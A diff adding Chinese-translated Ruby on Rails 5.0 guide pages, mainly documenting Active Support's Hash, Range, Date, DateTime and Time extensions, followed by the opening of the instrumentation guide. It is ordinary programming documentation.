11.5 处理值

11.5.1 transform_valuestransform_values! +

transform_values 的参数是一个块,使用块中的代码处理接收者中的各个值。

+
+{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
+# => {nil=>"", 1=>"1", :x=>"A"}
+
+
+
+

也有爆炸版本,transform_values!,就地处理接收者的值。

active_support/core_ext/hash/transform_values.rb 文件中定义。

11.6 切片

Ruby 原生支持从字符串和数组中提取切片。Active Support 为散列增加了这个功能:

+
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:c=>3, :a=>1}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # 不存在的键会被忽略
+
+
+
+

如果接收者响应 convert_key,会使用它对键做整形:

+
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+
+
+
+

可以通过切片使用键白名单净化选项散列。

也有 slice!,它就地执行切片,返回被删除的键值对:

+
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash                   # => {:a=>1}
+
+
+
+

active_support/core_ext/hash/slice.rb 文件中定义。

11.7 提取

extract! 方法删除并返回匹配指定键的键值对。

+
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash                     # => {:b=>2}
+
+
+
+

extract! 方法的返回值类型与接收者一样,是 Hash 或其子类。

+
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+
+
+
+

active_support/core_ext/hash/slice.rb 文件中定义。

11.8 无差别访问

with_indifferent_access 方法把接收者转换成 ActiveSupport::HashWithIndifferentAccess 实例:

+
+{a: 1}.with_indifferent_access["a"] # => 1
+
+
+
+

active_support/core_ext/hash/indifferent_access.rb 文件中定义。

11.9 压缩

compactcompact! 方法返回没有 nil 值的散列:

+
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+
+
+
+

active_support/core_ext/hash/compact.rb 文件中定义。

12 Regexp 的扩展

12.1 multiline? +

multiline? 方法判断正则表达式有没有设定 /m 旗标,即点号是否匹配换行符。

+
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+
+
+
+

Rails 只在一处用到了这个方法,也在路由代码中。路由的条件不允许使用多行正则表达式,这个方法简化了这一约束的实施。

+
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+
+
+
+

active_support/core_ext/regexp.rb 文件中定义。

13 Range 的扩展

13.1 to_s +

Active Support 扩展了 Range#to_s 方法,让它接受一个可选的格式参数。目前,唯一支持的非默认格式是 :db

+
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+
+
+
+

如上例所示,:db 格式生成一个 BETWEEN SQL 子句。Active Record 使用它支持范围值条件。

active_support/core_ext/range/conversions.rb 文件中定义。

13.2 include? +

Range#include?Range#=== 方法判断值是否在值域的范围内:

+
+(2..3).include?(Math::E) # => true
+
+
+
+

Active Support 扩展了这两个方法,允许参数为另一个值域。此时,测试参数指定的值域是否在接收者的范围内:

+
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+
+
+
+

active_support/core_ext/range/include_range.rb 文件中定义。

13.3 overlaps? +

Range#overlaps? 方法测试两个值域是否有交集:

+
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+
+
+
+

active_support/core_ext/range/overlaps.rb 文件中定义。

14 Date 的扩展

14.1 计算

这一节的方法都在 active_support/core_ext/date/calculations.rb 文件中定义。

下述计算方法在 1582 年 10 月有边缘情况,因为 5..14 日不存在。简单起见,本文没有说明这些日子的行为,不过可以说,其行为与预期是相符的。即,Date.new(1582, 10, 4).tomorrow 返回 Date.new(1582, 10, 15),等等。预期的行为参见 test/core_ext/date_ext_test.rb 中的 Active Support 测试组件。

14.1.1 Date.current +

Active Support 定义的 Date.current 方法表示当前时区中的今天。其作用类似于 Date.today,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了 Date.yesterdayDate.tomorrow,以及实例判断方法 past?today?future?on_weekday?on_weekend?,这些方法都与 Date.current 相关。

比较日期时,如果要考虑用户设定的时区,应该使用 Date.current,而不是 Date.today。与系统的时区(Date.today 默认采用)相比,用户设定的时区可能超前,这意味着,Date.today 可能等于 Date.yesterday

14.1.2 具名日期
14.1.2.1 prev_yearnext_year +

在 Ruby 1.9 中,prev_yearnext_year 方法返回前一年和下一年中的相同月和日:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+
+
+
+

如果是润年的 2 月 29 日,得到的是 28 日:

+
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+
+
+
+

last_yearprev_year 的别名。

14.1.2.2 prev_monthnext_month +

在 Ruby 1.9 中,prev_monthnext_month 方法分别返回前一个月和后一个月中的相同日:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+
+
+
+

如果日不存在,返回前一月中的最后一天:

+
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+
+
+
+

last_monthprev_month 的别名。

14.1.2.3 prev_quarternext_quarter +

类似于 prev_monthnext_month,返回前一季度和下一季度中的相同日:

+
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+
+
+
+

如果日不存在,返回前一月中的最后一天:

+
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+
+
+
+

last_quarterprev_quarter 的别名。

14.1.2.4 beginning_of_weekend_of_week +

beginning_of_weekend_of_week 方法分别返回某一周的第一天和最后一天的日期。一周假定从周一开始,不过这是可以修改的,方法是在线程中设定 Date.beginning_of_weekconfig.beginning_of_week

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+
+
+
+

at_beginning_of_weekbeginning_of_week 的别名,at_end_of_weekend_of_week 的别名。

14.1.2.5 mondaysunday +

mondaysunday 方法分别返回前一个周一和下一个周日的日期:

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
+d.monday                     # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
+d.sunday                     # => Sun, 16 Sep 2012
+
+
+
+
14.1.2.6 prev_weeknext_week +

next_week 的参数是一个符号,指定周几的英文名称(默认为线程中的 Date.beginning_of_weekconfig.beginning_of_week,或者 :monday),返回那一天的日期。

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+
+
+
+

prev_week 的作用类似:

+
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+
+
+
+

last_weekprev_week 的别名。

设定 Date.beginning_of_weekconfig.beginning_of_week 之后,next_weekprev_week 能按预期工作。

14.1.2.7 beginning_of_monthend_of_month +

beginning_of_monthend_of_month 方法分别返回某个月的第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+
+
+
+

at_beginning_of_monthbeginning_of_month 的别名,at_end_of_monthend_of_month 的别名。

14.1.2.8 beginning_of_quarterend_of_quarter +

beginning_of_quarterend_of_quarter 分别返回接收者日历年的季度第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+
+
+
+

at_beginning_of_quarterbeginning_of_quarter 的别名,at_end_of_quarterend_of_quarter 的别名。

14.1.2.9 beginning_of_yearend_of_year +

beginning_of_yearend_of_year 方法分别返回一年的第一天和最后一天的日期:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+
+
+
+

at_beginning_of_yearbeginning_of_year 的别名,at_end_of_yearend_of_year 的别名。

14.1.3 其他日期计算方法
14.1.3.1 years_agoyears_since +

years_ago 方法的参数是一个数字,返回那么多年以前同一天的日期:

+
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+
+
+
+

years_since 方法向前移动时间:

+
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+
+
+
+

如果那一天不存在,返回前一个月的最后一天:

+
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+
+
+
+
14.1.3.2 months_agomonths_since +

months_agomonths_since 方法的作用类似,不过是针对月的:

+
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+
+
+
+

如果那一天不存在,返回前一个月的最后一天:

+
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+
+
+
+
14.1.3.3 weeks_ago +

weeks_ago 方法的作用类似,不过是针对周的:

+
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+
+
+
+
14.1.3.4 advance +

跳到另一天最普适的方法是 advance。这个方法的参数是一个散列,包含 :years:months:weeks:days 键,返回移动相应量之后的日期。

+
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+
+
+
+

如上例所示,增量可以是负数。

这个方法做计算时,先增加年,然后是月和周,最后是日。这个顺序是重要的,向一个月的末尾流动。假如我们在 2010 年 2 月的最后一天,我们想向前移动一个月和一天。

此时,advance 先向前移动一个月,然后移动一天,结果是:

+
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+
+
+
+

如果以其他方式移动,得到的结果就不同了:

+
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+
+
+
+
14.1.4 修改日期组成部分

change 方法在接收者的基础上修改日期,修改的值由参数指定:

+
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+
+
+
+

这个方法无法容错不存在的日期,如果修改无效,抛出 ArgumentError 异常:

+
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+
+
+
+
14.1.5 时间跨度

可以为日期增加或减去时间跨度:

+
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+
+
+
+
14.1.6 时间戳

如果可能,下述方法返回 Time 对象,否则返回 DateTime 对象。如果用户设定了时区,会将其考虑在内。

14.1.6.1 beginning_of_dayend_of_day +

beginning_of_day 方法返回一天的起始时间戳(00:00:00):

+
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+
+
+
+

end_of_day 方法返回一天的结束时间戳(23:59:59):

+
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+
+
+
+

at_beginning_of_daymidnightat_midnightbeginning_of_day 的别名,

14.1.6.2 beginning_of_hourend_of_hour +

beginning_of_hour 返回一小时的起始时间戳(hh:00:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+
+
+
+

end_of_hour 方法返回一小时的结束时间戳(hh:59:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+
+
+
+

at_beginning_of_hourbeginning_of_hour 的别名。

14.1.6.3 beginning_of_minuteend_of_minute +

beginning_of_minute 方法返回一分钟的起始时间戳(hh:mm:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+
+
+
+

end_of_minute 方法返回一分钟的结束时间戳(hh:mm:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+
+
+
+

at_beginning_of_minutebeginning_of_minute 的别名。

TimeDateTime 实现了 beginning_of_hourend_of_hourbeginning_of_minuteend_of_minute 方法,但是 Date 没有实现,因为在 Date 实例上请求小时和分钟的起始和结束时间戳没有意义。

14.1.6.4 agosince +

ago 的参数是秒数,返回自午夜起那么多秒之后的时间戳:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+
+
+
+

类似的,since 向前移动:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+
+
+
+

15 DateTime 的扩展

DateTime 不理解夏令时规则,因此如果正处于夏令时,这些方法可能有边缘情况。例如,在夏令时中,seconds_since_midnight 可能无法返回真实的量。

15.1 计算

本节的方法都在 active_support/core_ext/date_time/calculations.rb 文件中定义。

DateTime 类是 Date 的子类,因此加载 active_support/core_ext/date/calculations.rb 时也就继承了下述方法及其别名,只不过,此时都返回 DateTime 对象:

+
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+
+
+
+

下述方法重新实现了,因此使用它们时无需加载 active_support/core_ext/date/calculations.rb

+
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+
+
+
+

此外,还定义了 advancechange 方法,而且支持更多选项。参见下文。

下述方法只在 active_support/core_ext/date_time/calculations.rb 中实现,因为它们只对 DateTime 实例有意义:

+
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+
+
+
+
15.1.1 具名日期时间
15.1.1.1 DateTime.current +

Active Support 定义的 DateTime.current 方法类似于 Time.now.to_datetime,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了 DateTime.yesterdayDateTime.tomorrow,以及与 DateTime.current 相关的判断方法 past?future?

15.1.2 其他扩展
15.1.2.1 seconds_since_midnight +

seconds_since_midnight 方法返回自午夜起的秒数:

+
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+
+
+
+
15.1.2.2 utc +

utc 返回的日期时间与接收者一样,不过使用 UTC 表示。

+
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+
+
+
+

这个方法有个别名,getutc

15.1.2.3 utc? +

utc? 判断接收者的时区是不是 UTC:

+
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+
+
+
+
15.1.2.4 advance +

跳到其他日期时间最普适的方法是 advance。这个方法的参数是一个散列,包含 :years:months:weeks:days:hours:minutes:seconds 等键,返回移动相应量之后的日期时间。

+
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+
+
+
+

这个方法计算目标日期时,把 :years:months:weeks:days 传给 Date#advance,然后调用 since 处理时间,前进相应的秒数。这个顺序是重要的,如若不然,在某些边缘情况下可能得到不同的日期时间。讲解 Date#advance 时所举的例子在这里也适用,我们可以扩展一下,显示处理时间的顺序。

如果先移动日期部分(如前文所述,处理日期的顺序也很重要),然后再计算时间,得到的结果如下:

+
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+
+
+
+

但是如果以其他方式计算,结果就不同了:

+
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+
+
+
+

因为 DateTime 不支持夏令时,所以可能得到不存在的时间点,而且没有提醒或报错。

15.1.3 修改日期时间组成部分

change 方法在接收者的基础上修改日期时间,修改的值由选项指定,可以包括 :year:month:day:hour:min:sec:offset:start

+
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+
+
+
+

如果小时归零了,分钟和秒也归零(除非指定了值):

+
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+
+
+
+

类似地,如果分钟归零了,秒也归零(除非指定了值):

+
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+
+
+
+

这个方法无法容错不存在的日期,如果修改无效,抛出 ArgumentError 异常:

+
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+
+
+
+
15.1.4 时间跨度

可以为日期时间增加或减去时间跨度:

+
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+
+
+
+

16 Time 的扩展

16.1 计算

本节的方法都在 active_support/core_ext/time/calculations.rb 文件中定义。

Active Support 为 Time 添加了 DateTime 的很多方法:

+
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+
+
+
+

它们的作用与之前类似。详情参见前文,不过要知道下述区别:

+
    +
  • change 额外接受 :usec 选项。

  • +
  • +

    Time 支持夏令时,因此能正确计算夏令时。

    +
    +
    +Time.zone_default
    +# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
    +
    +# 因为采用夏令时,在巴塞罗那,2010/03/28 02:00 +0100 变成 2010/03/28 03:00 +0200
    +t = Time.local(2010, 3, 28, 1, 59, 59)
    +# => Sun Mar 28 01:59:59 +0100 2010
    +t.advance(seconds: 1)
    +# => Sun Mar 28 03:00:00 +0200 2010
    +
    +
    +
    +
  • +
  • 如果 sinceago 的目标时间无法使用 Time 对象表示,返回一个 DateTime 对象。

  • +
+
16.1.1 Time.current +

Active Support 定义的 Time.current 方法表示当前时区中的今天。其作用类似于 Time.now,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了与 Time.current 有关的实例判断方法 past?today?future?

比较时间时,如果要考虑用户设定的时区,应该使用 Time.current,而不是 Time.now。与系统的时区(Time.now 默认采用)相比,用户设定的时区可能超前,这意味着,Time.now.to_date 可能等于 Date.yesterday

16.1.2 all_dayall_weekall_monthall_quarterall_year +

all_day 方法返回一个值域,表示当前时间的一整天。

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+
+
+
+

类似地,all_weekall_monthall_quarterall_year 分别生成相应的时间值域。

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+
+
+
+

16.2 时间构造方法

Active Support 定义的 Time.current 方法,在用户设定了时区时,等价于 Time.zone.now,否则回落到 Time.now

+
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+
+
+
+

DateTime 一样,判断方法 past?future?Time.current 相关。

如果要构造的时间超出了运行时平台对 Time 的支持范围,微秒会被丢掉,然后返回 DateTime 对象。

16.2.1 时间跨度

可以为时间增加或减去时间跨度:

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+
+
+
+

增加跨度会调用 sinceadvance。例如,跳跃时能正确考虑历法改革:

+
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+
+
+
+

17 File 的扩展

17.1 atomic_write +

使用类方法 File.atomic_write 写文件时,可以避免在写到一半时读取内容。

这个方法的参数是文件名,它会产出一个文件句柄,把文件打开供写入。块执行完毕后,atomic_write 会关闭文件句柄,完成工作。

例如,Action Pack 使用这个方法写静态资源缓存文件,如 all.css

+
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+
+
+
+

为此,atomic_write 会创建一个临时文件。块中的代码其实是向这个临时文件写入。写完之后,重命名临时文件,这在 POSIX 系统中是原子操作。如果目标文件存在,atomic_write 将其覆盖,并且保留属主和权限。不过,有时 atomic_write 无法修改文件的归属或权限。这个错误会被捕获并跳过,从而确保需要它的进程能访问它。

atomic_write 会执行 chmod 操作,因此如果目标文件设定了 ACL,atomic_write 会重新计算或修改 ACL。

注意,不能使用 atomic_write 追加内容。

临时文件在存储临时文件的标准目录中,但是可以传入第二个参数指定一个目录。

active_support/core_ext/file/atomic.rb 文件中定义。

18 Marshal 的扩展

18.1 load +

Active Support 为 load 增加了常量自动加载功能。

例如,文件缓存存储像这样反序列化:

+
+File.open(file_name) { |f| Marshal.load(f) }
+
+
+
+

如果缓存的数据指代那一刻未知的常量,自动加载机制会被触发,如果成功加载,会再次尝试反序列化。

如果参数是 IO 对象,要能响应 rewind 方法才会重试。常规的文件响应 rewind 方法。

active_support/core_ext/marshal.rb 文件中定义。

19 NameError 的扩展

Active Support 为 NameError 增加了 missing_name? 方法,测试异常是不是由于参数的名称引起的。

参数的名称可以使用符号或字符串指定。指定符号时,使用裸常量名测试;指定字符串时,使用完全限定常量名测试。

符号可以表示完全限定常量名,例如 :"ActiveRecord::Base",因此这里符号的行为是为了便利而特别定义的,不是说在技术上只能如此。

例如,调用 ArticlesController 的动作时,Rails 会乐观地使用 ArticlesHelper。如果那个模块不存在也没关系,因此,由那个常量名引起的异常要静默。不过,可能是由于确实是未知的常量名而由 articles_helper.rb 抛出的 NameError 异常。此时,异常应该抛出。missing_name? 方法能区分这两种情况:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

active_support/core_ext/name_error.rb 文件中定义。

20 LoadError 的扩展

Active Support 为 LoadError 增加了 is_missing? 方法。

is_missing? 方法判断异常是不是由指定路径名(不含“.rb”扩展名)引起的。

例如,调用 ArticlesController 的动作时,Rails 会尝试加载 articles_helper.rb,但是那个文件可能不存在。这没关系,辅助模块不是必须的,因此 Rails 会静默加载错误。但是,有可能是辅助模块存在,而它引用的其他库不存在。此时,Rails 必须抛出异常。is_missing? 方法能区分这两种情况:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

active_support/core_ext/load_error.rb 文件中定义。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_support_instrumentation.html b/v5.0/active_support_instrumentation.html new file mode 100644 index 0000000..d5e7654 --- /dev/null +++ b/v5.0/active_support_instrumentation.html @@ -0,0 +1,1237 @@ + + + + + + + +Active Support 监测程序 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Support 监测程序

Active Support 是 Rails 核心的一部分,提供 Ruby 语言扩展、实用方法等。其中包括一份监测 API,在应用中可以用它测度 Ruby 代码(如 Rails 应用或框架自身)中的特定操作。不过,这个 API 不限于只能在 Rails 中使用,如果愿意,也可以在其他 Ruby 脚本中使用。

本文教你如何使用 Active Support 中的监测 API 测度 Rails 和其他 Ruby 代码中的事件。

读完本文后,您将学到:

+
    +
  • 使用监测程序能做什么;

  • +
  • Rails 框架为监测提供的钩子;

  • +
  • 订阅钩子;

  • +
  • 自定义监测点。

  • +
+

本文原文尚未完工!

+ + + +
+
+ +
+
+
+

1 监测程序简介

Active Support 提供的监测 API 允许开发者提供钩子,供其他开发者订阅。在 Rails 框架中,有很多。通过这个 API,开发者可以选择在应用或其他 Ruby 代码中发生特定事件时接收通知。

例如,Active Record 中有一个钩子,在每次使用 SQL 查询数据库时调用。开发者可以订阅这个钩子,记录特定操作执行的查询次数。还有一个钩子在控制器的动作执行前后调用,记录动作的执行时间。

在应用中甚至还可以自己创建事件,然后订阅。

2 Rails 框架中的钩子

Ruby on Rails 框架为很多常见的事件提供了钩子。下面详述。

3 Action Controller

3.1 write_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.2 read_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.3 expire_fragment.action_controller

+ + + + + + + + + + + + + +
:key完整的键
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.4 exist_fragment?.action_controller

